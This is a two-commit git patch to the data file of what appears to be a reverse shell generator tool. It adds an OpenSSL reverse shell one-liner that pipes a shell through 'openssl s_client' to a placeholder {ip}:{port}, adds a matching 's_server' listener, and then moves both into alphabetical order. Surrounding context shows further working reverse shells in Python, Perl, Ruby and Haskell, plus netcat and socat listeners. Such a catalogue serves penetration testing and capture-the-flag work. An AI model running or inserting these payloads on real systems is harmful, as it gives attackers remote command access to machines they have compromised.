From 3d37d357208f014ccf194a33f31e3f002db0f89a Mon Sep 17 00:00:00 2001 From: hoodietramp Date: Sat, 29 Jun 2024 22:26:30 +0530 Subject: [PATCH 1/2] Add OpenSSL reverse shell --- js/data.js | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/js/data.js b/js/data.js index 0819f5b..f4edb93 100644 --- a/js/data.js +++ b/js/data.js @@ -260,6 +260,11 @@ const reverseShellCommands = withCommandType( "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", "meta": ["linux"] }, + { + "name": "OpenSSL", + "command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s", + "meta": ["linux", "mac"] + }, { "name": "Ruby #1", "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'", @@ -587,6 +592,7 @@ const rsgData = { ['rustcat', 'rcat listen {port}'], ['pwncat', 'python3 -m pwncat -lp {port}'], ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], + ['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'], ['powercat', 'powercat -l -p {port}'], From f8db9c36f0be30d78b5f31b377089bc41f8b47b5 Mon Sep 17 00:00:00 2001 From: hoodietramp Date: Sat, 29 Jun 2024 23:43:30 +0530 Subject: [PATCH 2/2] Correct Alphabetical order of OpenSSL reverse shell --- js/data.js | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/js/data.js b/js/data.js index f4edb93..740323f 100644 --- a/js/data.js +++ b/js/data.js @@ -121,6 +121,11 @@ const reverseShellCommands = withCommandType( "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"", "meta": ["linux", "mac"] }, + { + "name": "OpenSSL", + "command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s", + "meta": ["linux", "mac"] + }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", @@ -260,11 +265,6 @@ const reverseShellCommands = withCommandType( "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", "meta": ["linux"] }, - { - "name": "OpenSSL", - "command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s", - "meta": ["linux", "mac"] - }, { "name": "Ruby #1", "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'", @@ -590,9 +590,9 @@ const rsgData = { ['ncat (TLS)', 'ncat --ssl -lvnp {port}'], ['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'], ['rustcat', 'rcat listen {port}'], + ['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'], ['pwncat', 'python3 -m pwncat -lp {port}'], ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], - ['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'], ['powercat', 'powercat -l -p {port}'],